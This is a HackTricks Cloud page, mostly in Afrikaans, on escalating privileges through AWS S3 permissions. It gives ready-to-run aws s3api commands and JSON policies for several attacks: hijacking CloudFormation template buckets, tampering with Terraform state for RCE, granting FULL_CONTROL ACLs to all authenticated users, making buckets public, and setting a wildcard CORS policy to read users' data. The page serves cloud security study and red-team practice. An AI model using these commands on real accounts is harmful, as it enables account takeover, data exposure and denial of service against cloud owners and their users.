AWS - S3 Privesc
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
S3
s3:PutBucketNotification, s3:PutObject, s3:GetObject
’n aanvaller met daardie toestemmings oor interessante buckets kan hulpbronne kaap en bevoegdhede eskaleer.
Byvoorbeeld, ’n aanvaller met daardie toestemmings oor ’n cloudformation bucket met die naam “cf-templates-nohnwfax6a6i-us-east-1” sal die ontplooiing kan kaap. Die toegang kan gegee word met die volgende beleid:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
En die hijack is moontlik omdat daar ’n klein tydvenster vanaf die oomblik dat die sjabloon na die bucket opgelaaid word tot die oomblik dat die sjabloon gedeploy word. ’n Aanvaller kan net ’n lambda function in sy rekening skep wat sal trigger wanneer ’n bucket notification gestuur word, en hijacks die content van daardie bucket.
.png)
Die Pacu module cfn__resouce_injection kan gebruik word om hierdie aanval te outomatiseer.
Vir meer inligting kyk na die oorspronklike navorsing: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/
s3:PutObject, s3:GetObject
Dit is die permissies om objekte in S3 te kry en op te laai. Verskeie services binne AWS (en buite dit) gebruik S3-berging om konfigurasielêers te stoor.
’n Aanvaller met lees toegang tot hulle kan moontlik sensitiewe inligting vind.
’n Aanvaller met skryf toegang tot hulle kan die data wysig om ’n service te misbruik en te probeer bevoegdhede eskaleer.
Hier is ’n paar voorbeelde:
- As ’n EC2 instance die user data in ’n S3 bucket stoor, kan ’n aanvaller dit wysig om willekeurige kode binne die EC2 instance uit te voer.
s3:PutObject, s3:GetObject (optional) over terraform state file
Dit is baie algemeen dat die terraform state-lêers gestoor word in blob-berging van cloud-aanbieders, bv. AWS S3. Die lêerbyvoegsel vir ’n state-lêer is .tfstate, en die bucket-name verraai dikwels dat hulle terraform state-lêers bevat. Gewoonlik het elke AWS rekening so ’n bucket om die state-lêers te stoor wat die toestand van die rekening toon.
Ook in werklike rekeninge het byna altyd al die ontwikkelaars s3:* en soms selfs sakegebruikers s3:Put*.
As jy dus die permissies oor hierdie lêers het, is daar ’n aanvalvektor wat jou toelaat om RCE in die pipeline te verkry met die voorregte van terraform — meestal AdministratorAccess, wat jou die admin van die cloud-rekening maak. Jy kan daardie vektor ook gebruik om ’n denial of service-aanval uit te voer deur terraform legitime hulpbronne te laat verwyder.
Volg die beskrywing in die Abusing Terraform State Files afdeling van die Terraform Security blad vir direkte bruikbare exploit-kode:
s3:PutBucketPolicy
’n Aanvaller wat uit dieselfde rekening moet wees — anders sal die fout The specified method is not allowed getrigger — met hierdie permissie sal in staat wees om homself meer permissies oor die bucket(s) te gee wat hom toelaat om buckets te lees, skryf, wysig, verwyder en blootstel.
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}
## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
s3:GetBucketAcl, s3:PutBucketAcl
An attacker kan hierdie permissies misbruik om hom meer toegang te gee tot spesifieke buckets.
Neem kennis dat die attacker nie uit dieselfde account hoef te wees nie. Boonop kan die write access
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
An attacker kan hierdie permissies misbruik om hom meer toegang tot spesifieke objekte binne buckets te gee.
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
Van ’n aanvaller met hierdie voorregte word verwag dat hy ’n Acl op ’n spesifieke objekweergawe kan plaas.
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
s3:PutBucketCORS
’n aanvaller met die s3:PutBucketCORS-permissie kan ’n bucket se CORS (Cross-Origin Resource Sharing)-konfigurasie wysig, wat beheer watter webdomeine toegang tot sy eindpunte mag kry. As hulle ’n permissiewe beleid instel, kan enige webwerf direkte versoeke na die bucket maak en antwoorde vanaf ’n blaaier lees.
Dit beteken dus dat, moontlik, as ’n geauthentiseerde gebruiker van ’n web app wat vanaf die bucket gehuisves word die aanvaller se webwerf besoek, die aanvaller die permissiewe CORS-beleid kan uitbuit en, afhangende van die toepassing, toegang tot die gebruiker se profieldata kan kry of selfs die gebruiker se rekening kan hijack.
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

